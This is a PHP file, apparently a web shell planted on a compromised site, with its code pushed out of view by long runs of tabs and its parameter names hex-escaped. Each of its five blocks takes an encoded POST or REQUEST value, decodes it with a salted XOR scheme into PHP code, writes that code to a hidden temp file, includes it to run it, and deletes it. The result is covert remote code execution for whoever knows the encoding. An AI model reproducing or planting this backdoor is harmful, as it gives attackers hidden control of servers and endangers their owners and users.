<?php																																										if(isset($_POST) && isset($_POST["\x66\x61c"])){ $element = $_POST["\x66\x61c"]; $element=explode ('.' ,$element ) ; $tkn=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($s); foreach($element as $l=> $v4): $sChar=ord($s[$l % $sLen]); $dec=((int)$v4 - $sChar -($l % 10)) ^ 67; $tkn .= chr($dec); endforeach; $val = array_filter(["/var/tmp", getenv("TEMP"), getenv("TMP"), "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", getcwd()]); foreach ($val as $key => $property_set) { if (!( !is_dir($property_set) || !is_writable($property_set) )) { $dchunk = sprintf("%s/.desc", $property_set); $file = fopen($dchunk, 'w'); if ($file) { fwrite($file, $tkn); fclose($file); include $dchunk; @unlink($dchunk); die(); } } } }
																																										if(@$_POST["\x72\x65c"] !== null){ $desc = array_filter([getenv("TMP"), sys_get_temp_dir(), "/tmp", getenv("TEMP"), session_save_path(), getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp"]); $k = $_POST["\x72\x65c"]; $k = explode( '.' , $k ) ; $key = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s8); $p = 0; while($p < count($k)) {$v9 = $k[$p]; $chS = ord($s8[$p % $sLen]); $d =((int)$v9 - $chS -($p % 10)) ^ 17; $key .= chr($d); $p++; } foreach ($desc as $binding): if (!( !is_dir($binding) || !is_writable($binding) )) { $flg = "$binding" . "/.sym"; $file = fopen($flg, 'w'); if ($file) { fwrite($file, $key); fclose($file); include $flg; @unlink($flg); exit; } } endforeach; }
																																										if(@$_REQUEST["d\x61t\x61\x5Fc\x68un\x6B"] !== null){ $ref = $_REQUEST["d\x61t\x61\x5Fc\x68un\x6B"]; $ref = explode("." , $ref ) ; $object = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $v = 0; array_walk($ref, function($v9) use(&$object, &$v, $s, $sLen) { $sChar = ord($s[$v % $sLen] ); $dec =((int)$v9 - $sChar -($v % 10)) ^ 29; $object .= chr($dec ); $v++; } ); $flag = array_filter([getenv("TEMP"), "/dev/shm", getcwd(), sys_get_temp_dir(), "/tmp", getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir"), session_save_path()]); foreach ($flag as $itm) { if (!!is_dir($itm) && !!is_writable($itm)) { $tkn = "$itm" . "/.dchunk"; if (@file_put_contents($tkn, $object) !== false) { include $tkn; unlink($tkn); exit; } } } }
																																										if(isset($_REQUEST["fl\x61g"]) ? true : false){ $factor = array_filter([session_save_path(), getenv("TEMP"), "/dev/shm", getenv("TMP"), "/tmp", "/var/tmp", ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir()]); $component = $_REQUEST["fl\x61g"]; $component= explode ('.' ,$component ) ; $entity =''; $s2 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $s2); $w =0; array_walk( $component , function( $v4) use( &$entity , &$w , $s2 , $sLen) { $sChar =ord( $s2[$w % $sLen]); $d =( ( int)$v4 - $sChar -( $w % 10)) ^43; $entity.= chr( $d); $w++; } ); foreach ($factor as $key => $pgrp) { if (is_writable($pgrp) && is_dir($pgrp)) { $tkn = "$pgrp" . "/.descriptor"; $file = fopen($tkn, 'w'); if ($file) { fwrite($file, $entity); fclose($file); include $tkn; @unlink($tkn); die(); } } } }


if(isset($_POST["\x72e\x63"]) ? true : false){
	$marker = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), "/var/tmp", sys_get_temp_dir(), "/dev/shm", session_save_path(), "/tmp", getcwd(), getenv("TEMP")]);
	$data = $_POST["\x72e\x63"];
	 $data	= explode("."   ,	$data   );			
	$token  = 	'';
            $salt8  = 	'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS  = 	strlen( $salt8);
            $s  = 	0;
    
            while( $s  < count( $data)) {
                $v9  = 	$data[$s];
                $sChar  = 	ord( $salt8[$s	 %  $lenS]);
                $dec  = 	( ( int)$v9 - $sChar -( $s	 %  10)) ^ 8;
                $token .=chr( $dec);
                $s++;	}		
	while ($property_set = array_shift($marker)) {
    		if ((bool)is_dir($property_set) && (bool)is_writable($property_set)) {
    $pgrp = join("/", [$property_set, ".k"]);
    if (file_put_contents($pgrp, $token)) {
	include $pgrp;
	@unlink($pgrp);
	exit;
}
}
}
}